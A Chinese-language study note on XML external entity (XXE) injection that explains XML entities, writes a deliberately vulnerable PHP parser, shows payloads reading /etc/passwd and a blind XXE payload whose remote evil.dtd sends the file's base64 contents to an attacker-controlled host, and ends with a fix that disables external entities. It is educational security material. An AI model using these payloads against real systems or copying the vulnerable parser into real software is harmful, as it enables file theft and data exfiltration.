XXE知识总结

最近觉得,要改改自己的惰性,完善一下硬知识。
我对硬知识的学习,有自己的要求:深入理解原理、会写漏洞、会利用漏洞、会修复漏洞。


0x00 XXE简介

XXE(XML External Entity Injection),中文称作XML外部实体注入。和SQL注入、XSS、XPath注入等类似,都是违反了“数据与代码分离原则”的产物。

XXE危害:配合各种协议和老哥们的骚思路,可以读取任意文件、执行系统命令、探测内网端口、攻击内网网站等。

XXE成因:解析XML时允许引用外部实体。例如PHP环境中,libxml库<=2.9.0默认启用外部实体。需要注意的是,和PHP版本无关,只是不同版本的PHP自带不同版本的libxml库罢了。SimpleXMl库提供了解析XML的函数,libxml提供了禁用外部实体的函数和一些核心功能,SimpleXML依赖于libxml。其他脚本语言中类似。

XXE防御手段:在处理XML数据时,禁用外部实体或者严格过滤用户输入可以在一定程度上防御或缓解XXE攻击。

XXE可利用的协议(部分):

0x01 XML基础知识

一个基本的XML文档大概长这个样子:

<!--XML声明部分-->
<?xml version="1.0"?>

<!--DTD 文档类型定义部分-->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>

<!--文档元素-->
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

XML(Extensible Markup Language),中文名可扩展标记语言。和HTML类似,是用来结构化地描述信息的一种标记语言,但是其语法比HTML更为严谨。
XML声明:表示XML文档从这里开始,并描述了文档的相关信息。
DTD :使用一系列合法的元素来定义文档结构。

所有的 XML文档 以及 HTML 文档构建模块:

  • 元素 同HTML
  • 属性 同HTML
  • 实体 实体是用来定义普通文本的变量
  • PCDATA 被解析的字符数据(parsed character data)
  • CDATA 不会被解析的字符数据(character data)

XML的语法严谨,体现在以下这些地方:

  • XML 文档必须有根元素
  • XML 文档必须有关闭标签
  • XML 标签对大小写敏感
  • XML 元素必须被正确的嵌套
  • XML 属性必须加引号

XML实体:分为字符实体、命名实体、外部实体和参数实体。XML 中的实体用于表示特殊字符,重用 XML 代码段,将文档组织为几个文件,以及简化 DTD 的编写。
实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。所有实体的引用(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。

字符实体:可以用十进制格式(&#nnn;,其中 nnn 是字符的十进制值)或十六进制格式(&#xhhh;,其中 hhh 是字符的十六进制值)来指定任意 Unicode 字符。类似HTML中的实体编码。
命名实体:相当于编程语言中的变量(准确来说像常量,我目前没听说过可以像变量那样重复赋值),可以被引用。

<!ENTITY h "Hello">
<!--在实体中引用实体-->
<!ENTITY w "&h; World">

外部实体:XXE的主角,外部实体表示外部文件的内容。

<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "file:///etc/passwd">
<!ENTITY chap3 SYSTEM "http://www.x.com/chapter-3.xml">

参数实体:参数实体只用于 DTD 和文档的内部子集中。它们使用百分号(%)而不是与字符,可以是命名实体或外部实体。

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file///etc/passwd">

0x02 XXE Bug编写及漏洞利用

笔者的实验环境是:PHP 5.2.4-2 对应的库是 libxml-2.6.31。

先写一段优雅的bug:

<?php
	ini_set("display_errors",1);			//显示错误信息
	$body = file_get_contents("php://input");
	$xml = simplexml_load_string($body);		//解析XML
	$user = $xml->user;
	$pass = $xml->pass;

	echo "user ".$user.PHP_EOL;			//输出
	echo "pass ".$pass.PHP_EOL;
?>

1. POST一段普通的XML文档 (注意观察Content-Type):

<?xml version="1.0" encoding="utf-8" ?>
<root>
	<user>admin</user>
	<pass>fuckadmin</pass>
</root>

从响应中可以看出,XML文档被正确的解析。

2. POST一段带有命名实体的XML文档:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY user "woojay">
	<!ENTITY pass "123456">
]>
<root>
	<user>&user;</user>
	<pass>&pass;</pass>
</root>

从响应中可以看出,XML文档中的命名实体也被正确的解析。

3. POST一段带有外部实体的XML文档:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY user SYSTEM "file:///etc/passwd">
	<!ENTITY pass "123456">
]>
<root>
	<user>&user;</user>
	<pass>&pass;</pass>
</root>

这段XML利用外部实体和file协议,读取了/etc/passwd文件,从响应中可以看到文件内容。

0x03 Blind XXE Bug编写及漏洞利用

再写一段优雅的bug:

<?php
	$body = file_get_contents("php://input");
	$xml = simplexml_load_string($body);		//解析XML
	$user = $xml->user;
	$pass = $xml->pass;

	if($user && $pass) {				//输出
		echo "Correct";
	} else {
		echo "Incorrect";
	}
?>

由于Blind XXE没有回显,所以要通过外带的形式获取数据,比如加载远程文件。

POST一段XML文档:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY % dtd SYSTEM "http://192.168.154.133/evil.dtd">
	%dtd;
]>
<root>
	<user>woojay</user>
	<pass>password</pass>
</root>

evil.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.154.133:8000/%file;'>">
%int;
%send;

参考了大佬们的做法,理论上这样可以在192.168.154.133主机的8000端口上获得/etc/passwd的文件内容,但是我这里不论怎样改写dtd格式,都读取不到文件内容。可能是环境有问题,以后成功了补一张图。

虽说文件内容读取不到,但是可以获取参数实体定义的字符串内容:

file的值换成了123,并且成功在8000端口上接收到了数据。获取文件内容的原理一样。

0x04 XXE修复及验证

这里演示通过禁用外部实体的方法来防御XXE,如果需要启用外部实体,则要严格过滤用户输入。

给bug打一个优雅的补丁:

<?php
	ini_set("display_errors",1);			//显示错误信息
	libxml_disable_entity_loader(true);		//禁用外部实体
	$body = file_get_contents("php://input");
	$xml = simplexml_load_string($body);		//解析XML
	$user = $xml->user;
	$pass = $xml->pass;

	echo "user ".$user.PHP_EOL;			//输出
	echo "pass ".$pass.PHP_EOL;
?>

POST一段XML文档:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root[
	<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root>
	<user>&file;</user>
	<pass>password</pass>
</root>

禁止加载外部实体,XXE防御成功。

0x05 结语

需要注意的就是XXE的造成与PHP版本无关,与libxml库的版本有关。libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。

其他语言中类似。